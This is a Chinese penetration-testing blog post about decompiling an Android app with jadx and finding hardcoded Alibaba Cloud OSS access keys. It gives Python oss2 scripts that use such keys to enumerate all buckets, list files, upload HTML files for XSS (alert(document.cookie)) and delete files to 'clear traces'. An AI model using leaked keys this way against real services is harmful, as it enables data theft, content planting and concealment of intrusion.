查看原文
其他

渗透中APK测试小Tip

巡安似海 巡安似海 2022-11-05

0x00 前言

最近在做一个APK的测试,发现整个APP的传输都是加密走TCP的,故此无法通过http协议进行重放篡改之类的攻击,作为一个web狗,只好用jadx对apk进行反编译,看看从源码中是否能找到相关信息,果不其然,在AndroidManifest.xml文件中发现存在多个接口的KEY信息,其中包括阿里云存储的OSSkey,这样就可以基本控制阿里云存储的所有文件。这里对此仅作记录。


0x01 反编译apk

反编译这里推荐jadx,虽然Androidkiller功能比较多,由于其集成的apktool版本太旧会有各种问题,所以jadx是不二的选择,平时做APP测试的时候,可以尝试搜索相关关键字,如这里的ossaccesskeyid之类的,说不定有意外的收获。


脚本实现访问阿里云存储:

阿里云存储的访问,在其官方文档提供了各式各样的访问方法,比如ossbrowser、ossutil、sdk等,其中ossbrowser是图形化操作的,适合在后期查看或下载某个文件的时候使用,如果需要快速获取目录下的文件结构的话,还是推荐使用sdk,官方提供了丰富的sdk接口和文档,这里记录一下基于python的sdk相关操作。

python sdk

安装

pip install oss2

枚举存储空间:

很多时候,你拿到的可能只是一个存储空间的访问地址,而accesskey的访问权限可能更大,这个时候就需要对存储空间进行枚举,看看其他空间是否有权限访问和有自己需要的信息。

# -*- coding: utf-8 -*-
import oss2

auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
# 这里不一定是阿里云的域名,也可以是其他的域名或IP,可以根据网络请求和配置文件确定
service = oss2.Service(auth, 'http://oss-cn-hangzhou.aliyuncs.com')
print([b.name for b in oss2.BucketIterator(service)])

文件上传示例:

用于上传测试文件,比如测试HTML文件是否可以造成xss漏洞等。

# -*- coding: utf-8 -*-
import oss2

auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')
bucket.put_object_from_file('<yourObjectName>', '<yourLocalFile>')

文件名称枚举:

当存储空间和文件数量过多的时候,需要调用sdk将存储空间的文件结构快速地枚举出来,一遍进一步针对性地渗透。

# -*- coding: utf-8 -*-
import oss2
from itertools import islice

auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
service = oss2.Service(auth, 'http://oss-cn-hangzhou.aliyuncs.com')
for b in oss2.BucketIterator(service):
    bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', b.name)
    print(----------b.name----------)
    for obj in oss2.ObjectIterator(bucket, delimiter = '/'):
        print(obj.key)

删除文件:

测试过程中,难免需要上传测试文件,作为一个合格的渗透测试人员,清除痕迹是必须的掌握的技能。

# -*- coding: utf-8 -*-
import oss2

auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')

bucket.delete_object('<yourObjectName>')

授权访问:

在不知道文件如何访问的时候可以使用此方法获取URL,如果限制比较宽松的话,一般是直接url//filename的形式访问

# -*- coding: utf-8 -*-
import oss2

auth = oss2.Auth('<yourAccessKeyId>', '<yourAccessKeySecret>')
bucket = oss2.Bucket(auth, 'http://oss-cn-hangzhou.aliyuncs.com', '<yourBucketName>')

# 设置此签名URL在60秒内有效。
print(bucket.sign_url('GET', '<yourObjectName>', 60))

阿里云存储的XSS漏洞:

一般上阿里云的存储都可以上传任意文件,其中html文件是可以被浏览器解析的,故此可能造成XSS漏洞,或者被挂BC去引流等问题:

<script>alert(document. cookie)</script>

还有据说部分特殊环境下可以上传shtml文件可以导致命令执行和文件读取的漏洞,暂时没有遇到。

                                            From:https://sharecast.bitcron.com/post/apk-pentest-tips

欢迎 点赞留言分享至朋友圈 三连



 好文推荐  


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存